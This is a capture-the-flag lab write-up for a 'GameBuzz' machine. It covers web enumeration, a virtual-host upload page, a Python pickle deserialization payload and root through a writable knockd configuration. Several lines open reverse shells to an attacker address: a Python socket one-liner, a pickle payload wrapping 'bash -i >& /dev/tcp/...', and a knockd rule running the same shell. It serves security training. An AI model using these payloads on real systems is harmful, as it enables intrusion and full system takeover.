Recon to foothold
Let’s begin with a scan then
rob:GameBuzz/ $ sudo masscan -p1-65535,U:1-65535 10.10.195.189 --rate=1000 -e tun0
[sudo] password for rob:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-09-29 21:42:17 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.195.189
Ok, not much open there!
Let’s nmap for a better view of the found ports
rob:GameBuzz/ $ nmap -A -T4 -v -p80 10.10.195.189
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-29 22:54 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating Ping Scan at 22:54
Scanning 10.10.195.189 [2 ports]
Completed Ping Scan at 22:54, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:54
Completed Parallel DNS resolution of 1 host. at 22:54, 0.01s elapsed
Initiating Connect Scan at 22:54
Scanning 10.10.195.189 [1 port]
Discovered open port 80/tcp on 10.10.195.189
Completed Connect Scan at 22:54, 0.01s elapsed (1 total ports)
Initiating Service scan at 22:54
Scanning 1 service on 10.10.195.189
Completed Service scan at 22:54, 6.03s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.195.189.
Initiating NSE at 22:54
Completed NSE at 22:54, 1.50s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.04s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Nmap scan report for 10.10.195.189
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Incognito
NSE: Script Post-scanning.
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds
I guess we’ll have to start with the web server then 😄
We find a game site, most of the buttons etc. go nowhere, but we do find 2 forms that call the same root page with parameters for name, phone, etc.
We also find a contact section with a potential domain name, incognito.com
Let’s try some directory busting to see if there are any other areas of interest on this web server
rob:GameBuzz/ $ gobuster dir --url http://10.10.90.10 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.90.10
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/09/30 13:30:36 Starting gobuster in directory enumeration mode
===============================================================
/static (Status: 301) [Size: 311] [--> http://10.10.90.10/static/]
/server-status (Status: 403) [Size: 276]
/fetch (Status: 405) [Size: 178]
Progress: 23725 / 62284 (38.09%) [ERROR] 2021/09/30 13:31:11 [!] parse "http://10.10.90.10/error\x1f_log": net/url: invalid control character in URL
===============================================================
2021/09/30 13:36:01 Finished
===============================================================
Ok, we can probably assume that /static
is serving all the images etc. on the page we found. But what is /fetch
? We get a 405 response, ‘Method Not Allowed’, so apparently it doesn’t like the ‘GET’ method. Let’s try some other methods then and see if we get anything usable
rob:GameBuzz/ $ ffuf -u http://10.10.90.10/fetch -X FUZZ -w /usr/share/seclists/Fuzzing/http-request-methods.txt -fc 405
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : FUZZ
:: URL : http://10.10.90.10/fetch
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/http-request-methods.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 405
________________________________________________
OPTIONS [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 15ms]
options [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 16ms]
:: Progress: [62/62] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
With ffuf
we try bsaically every method possible and find only one that gives a response, OPTIONS
Let’s have another look now that we know what the /fetch
directory supports
rob:GameBuzz/ $ curl -v -X OPTIONS http://10.10.90.10/fetch
* Trying 10.10.90.10:80...
* Connected to 10.10.90.10 (10.10.90.10) port 80 (#0)
> OPTIONS /fetch HTTP/1.1
> Host: 10.10.90.10
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 30 Sep 2021 12:55:29 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Allow: POST, OPTIONS
< Content-Length: 0
< Content-Type: text/html; charset=utf-8
<
* Connection #0 to host 10.10.90.10 left intact
Ok, that’s weird, this says that /fetch
support the POST method
rob:GameBuzz/ $ grep -i post /usr/share/seclists/Fuzzing/http-request-methods.txt
POST
post
but POST was on our list…
rob:GameBuzz/ $ curl -v -X POST http://10.10.90.10/fetch
* Trying 10.10.90.10:80...
* Connected to 10.10.90.10 (10.10.90.10) port 80 (#0)
> POST /fetch HTTP/1.1
> Host: 10.10.90.10
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500 INTERNAL SERVER ERROR
< Date: Thu, 30 Sep 2021 12:59:19 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 290
< Connection: close
< Content-Type: text/html; charset=utf-8
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Ahh, we were not setup (by default) to show error code 500.
While looking at the source code we spot something we missed earlier
There’s a dropdown? Ah yes, there it is
Firing up burpsuite we can intercept what this sendRequest
function does
And there’s our /fetch
request in action! We get a response too
So this appears to be executing some sort of query in the backend and returning a result in a JSON format. It looks like the query is related to individual files being stored for each game as when we check each of the three links we find requests for /var/upload/games/object.pkl
. .../object1.pkl
and .../object2.pkl
A .pkl
extension usually means a file created by python ‘pickle’, so perhaps instead of asking the backend to deserialize a pickle stored in a file, maybe we could get it to deserialize any arbitrary pickle we send it
However after a few attempts at this, we get nowhere. It’s possible that the remote side is just setup to always try and open whatever file it’s sent: no file, not working
So, the question then becomes, how can we get a file onto the target? We did see earlier that the path for the .pkl
files was /var/upload/...
which would suggest that there could be some sort of upload feature somewhere
We didn’t add the found domain name earlier as it was a .com
address, but let’s try it now just in case a feature like this is hiding on a virtual host. Checking the base URL with curl
just returns the same page, so let’s do a subdomain search
rob:GameBuzz/ $ gobuster vhost --url http://incognito.com -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://incognito.com
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/09/30 14:45:08 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.incognito.com (Status: 200) [Size: 57]
--snip--
Ok, we found a sub-domain, dev
, let’s see what we find there
Some further directory busting here finds us some interesting stuff
rob:GameBuzz/ $ gobuster dir --url http://dev.incognito.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,php,zip,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.incognito.com
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: zip,html,txt,php
[+] Timeout: 10s
===============================================================
2021/09/30 14:56:02 Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 57]
/secret (Status: 301) [Size: 323] [--> http://dev.incognito.com/secret/]
/robots.txt (Status: 200) [Size: 32]
/server-status (Status: 403) [Size: 282]
/index.html (Status: 200) [Size: 57]
===============================================================
2021/09/30 15:05:07 Finished
===============================================================
robots.txt
gives us the same directory that gobuster
has
rob:GameBuzz/ $ curl dev.incognito.com/robots.txt
User-Agent: *
Disallow: /secret
But unfortunately /secret
gives us a 403 Forbidden
Busting for directories under /secret
though gives us
rob:GameBuzz/ $ gobuster dir --url http://dev.incognito.com/secret -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,php,zip,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.incognito.com/secret
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,zip,html
[+] Timeout: 10s
===============================================================
2021/09/30 15:01:48 Starting gobuster in directory enumeration mode
===============================================================
/upload (Status: 301) [Size: 330] [--> http://dev.incognito.com/secret/upload/]
And /secret/upload
looks like exactly what we need!
Ok, let’s see then if we can put a pickle in a file. What if we were to pickle our favourite python reverse shell? Let’s use a python3 interactive shell
>>> import pickle
>>> outputfile = open("shell.pkl", "wb")
>>> shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.6.26",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
>>> pickle.dump(shell, outputfile)
>>> outputfile.close()
Unfortunately, this is not the way
Let’s google for some help then, this one looks good, let’s give it a try with a few small changes. Ffor example, we might not be able to rely on having nc
, and we’ll use regular pickle rather than cPickle. Also we can’t seem to get it working with a base64 encoding, so we drop that too
rob:GameBuzz/ $ vi pickle1.py
rob:GameBuzz/ $ cat pickle1.py
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import pickle
import sys
DEFAULT_COMMAND = "bash -i >& /dev/tcp/10.14.6.26/1234 0>&1"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print pickle.dumps(PickleRce())
rob:GameBuzz/ $ python pickle1.py
cposix
system
p0
(S'bash -i >& /dev/tcp/10.14.6.26/1234 0>&1'
p1
tp2
Rp3
.
Alright, let’s drop that in a file, we’ll call it objectX.pkl so it matches the original files - just in case the backend code is fussy - and send it up
And no, nothing at all!
Perhaps the shell command needs to be wrapped up with bash -c
to spawn a persistent shell, we can change our script and try again… but still nothing!
Cue a LOT of trial and error. We can test our pickle file like this, it seems to work
rob:GameBuzz/ $ python
Python 2.7.18 (default, Jul 14 2021, 08:11:37)
[GCC 10.2.1 20210110] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> inputfile = open("object5.pkl", "r")
>>> eval(pickle.load(inputfile))
And over in our waiting listener we pop a shell
rob:GameBuzz/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.14.6.26] 58512
So is it server side then? We try changing the port number for the reverse shell callback in case we have a firewall filtering out our traffic, still nothing. But then, almost by accident we change the request path, dropping the games
directory - i.e. what if the upload form just uploads to the root of the ‘upload’ tree. Remembering of course that the other files are served on the production server and this is the dev server, so they could be mapped anywhere really
And we pop a shell! Finally!!
rob:GameBuzz/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.90.10] 40070
bash: cannot set terminal process group (955): Inappropriate ioctl for device
bash: no job control in this shell
www-data@incognito:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1002(nosu)
Foothold achieved
User www-data
After stabilizing our shell we do some manual enumeration and find that we can quickly grab the user flag
www-data@incognito:/$ cat /home/dev2/user.txt
`REDACTED`
The nosu
group we are in is a little different, but we find nothing owned by that group, probably a ‘no sudo’ group
www-data@incognito:/home$ find / -group nosu 2>/dev/null
www-data@incognito:/home$
We find an email waiting for user dev1
www-data@incognito:/var$ cat /var/mail/dev1
Hey, your password has been changed, dc647eb65e6711e155375218212b3964.
Knock yourself in!
Ahh, now the reason for the nosu
group is clear. We can’t just do a su - dev1
and switch users, we have to connect over (I guess) ssh
www-data@incognito:/var$ su - dev1
Password:
su: Permission denied
We seem to have a clue though, Knock yourself in!
, there must be some sort of port knocking to do in order to get port 22 visible externally. Let’s check that there is an SSH server running
www-data@incognito:/var$ ss -tulnp | grep -i listen
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
Yes, it’s there, bound to no specific interface. Can we access it then from internally?
www-data@incognito:/var$ ssh dev1@localhost
ssh: connect to host localhost port 22: Connection refused
No, again, we can’t
Right then, we need to figure out a knocking sequence
Knock knock dev1
Fortunately we can have a peek at the configuration files
www-data@incognito:/etc$ cat knockd.conf
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 5020,6120,7340
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j REJECT
tcpflags = syn
And we find a knocking sequence of 5020,6120,7340
Let’s open up SSH then
rob:GameBuzz/ $ knock incognito.com 5020:tcp 6120:tcp 7340:tcp incognito.com
rob:GameBuzz/ $ ssh dev1@incognito.com
The authenticity of host 'incognito.com (10.10.90.10)' can't be established.
ECDSA key fingerprint is SHA256:3OORNLgT2Ljv0dwfQnP/tX1k1GbjAz2u9XkLgcO8EdQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'incognito.com,10.10.90.10' (ECDSA) to the list of known hosts.
dev1@incognito.com's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-153-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Sep 30 15:28:44 UTC 2021
System load: 0.0 Processes: 111
Usage of /: 45.9% of 10.76GB Users logged in: 0
Memory usage: 51% IP address for eth0: 10.10.90.10
Swap usage: 0%
66 packages can be updated.
1 update is a security update.
You have mail.
Last login: Fri Jun 11 09:03:25 2021 from 192.168.29.217
dev1@incognito:~$ id
uid=1001(dev1) gid=1001(dev1) groups=1001(dev1)
And we’re in!
Let’s see if user dev1
has any sudo
rights
dev1@incognito:~$ sudo -l
[sudo] password for dev1:
Matching Defaults entries for dev1 on incognito:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dev1 may run the following commands on incognito:
(root) /etc/init.d/knockd
Ok, that’s interesting, we can execute the startup script for knockd
dev1@incognito:~$ cat /etc/init.d/knockd
#! /bin/sh
### BEGIN INIT INFO
# Provides: knockd
# Required-Start: $network $syslog $remote_fs
# Required-Stop: $network $syslog $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: port-knock daemon
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/knockd
NAME=knockd
PIDFILE=/var/run/$NAME.pid
DEFAULTS_FILE=/etc/default/knockd
DESC="Port-knock daemon"
OPTIONS=" -d"
umask 0037
test -f $DAEMON || exit 0
set -e
[ -f $DEFAULTS_FILE ] && . $DEFAULTS_FILE
. /lib/lsb/init-functions
[ "$KNOCKD_OPTS" ] && OPTIONS="$OPTIONS $KNOCKD_OPTS"
start_if_configured() {
if [ $START_KNOCKD -ne 1 ]; then
log_warning_msg "$NAME disabled: not starting. To enable it edit $DEFAULTS_FILE"
exit 0
else
log_daemon_msg "Starting $DESC" "$NAME"
if ! START_ERROR=`start-stop-daemon --start --oknodo --quiet --exec $DAEMON -- $OPTIONS 2>&1`; then
# don't fail the upgrade if it fails to start
echo -n " "
log_action_end_msg 1 "$START_ERROR"
exit 0
else
log_end_msg 0
fi
fi
}
case "$1" in
start)
start_if_configured
;;
stop)
log_daemon_msg "Stopping $DESC" "$NAME"
start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
log_end_msg 0
;;
restart|reload|force-reload)
log_daemon_msg "Stopping $DESC" "$NAME"
start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
log_end_msg 0
sleep 1
start_if_configured
;;
*)
log_warning_msg "Usage: $0 {start|stop|restart|reload|force-reload}" >&2
exit 1
;;
esac
exit 0
But we can’t edit it
dev1@incognito:~$ ls -la /etc/init.d/knockd
-rwxr-xr-x 1 root root 1755 Oct 8 2016 /etc/init.d/knockd
Defaults are in /etc/default/knockd
, but we can’t mess with that either
dev1@incognito:/snap$ ls -la /etc/default/knockd
-rw-r--r-- 1 root root 194 Jun 11 09:05 /etc/default/knockd
And following the chain, knockd
itself reads its config from /etc/knockd.conf
, which is also read-only
dev1@incognito:~$ ls -la /etc/knockd.conf
-rw-rw-r--+ 1 root root 349 Jun 11 07:39 /etc/knockd.conf
But, there’s more there, a +
at the end of the permissions. Some googling leads us to stackoverflow and from there we find this text from info coreutils 'ls invocation'
Following the file mode bits is a single character that specifies whether an alternate access method such as an access control list applies to the file. When the character following the file mode bits is a space, there is no alternate access method. When it is a printing character, then there is such a method.
GNU ‘ls’ uses a ‘.’ character to indicate a file with a security context, but no other alternate access method.
A file with any other combination of alternate access methods is marked with a ‘+’ character
So does this mean we have SELinux ACL controls in place, let’s check that out
dev1@incognito:~$ getfacl /etc/knockd.conf
getfacl: Removing leading '/' from absolute path names
# file: etc/knockd.conf
# owner: root
# group: root
user::rw-
user:dev1:rw-
group::r--
mask::rw-
other::r--
Excellent, we have write permissions granted through SELinux
This means we can change the options for the knockd daemon at startup time
dev1@incognito:~$ vi /etc/knockd.conf
dev1@incognito:~$ cat /etc/knockd.conf
[options]
logfile = /var/log/knockd.log
[openSSH]
sequence = 5020,6120,7340
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9000,8000,7000
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j REJECT
tcpflags = syn
[nothingtoseehere]
sequence = 8001,8002,8003
seq_timeout = 15
command = /bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.6.26/1234 0>&1'
tcpflags = syn
So we simply add an additional knock sequence that sends a reverse shell to us
Now if we stop and start the daemon we should get our privesc
dev1@incognito:~$ sudo /etc/init.d/knockd stop
[sudo] password for dev1:
[ ok ] Stopping knockd (via systemctl): knockd.service.
dev1@incognito:~$ sudo /etc/init.d/knockd start
[ ok ] Starting knockd (via systemctl): knockd.service.
If everything has gone to plan then knocking on the ports from our attackbox should give us a rooted shell. Knock, knock!
rob:GameBuzz/ $ knock incognito.com 8001 8002 8003
And in another console we pop a shell
rob:GameBuzz/ $ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.118.122] 44584
bash: cannot set terminal process group (4198): Inappropriate ioctl for device
bash: no job control in this shell
root@incognito:/# id
id
uid=0(root) gid=0(root) groups=0(root)
Finally we can grab the root flag
root@incognito:/# cat /root/root.txt
cat /root/root.txt
`REDACTED`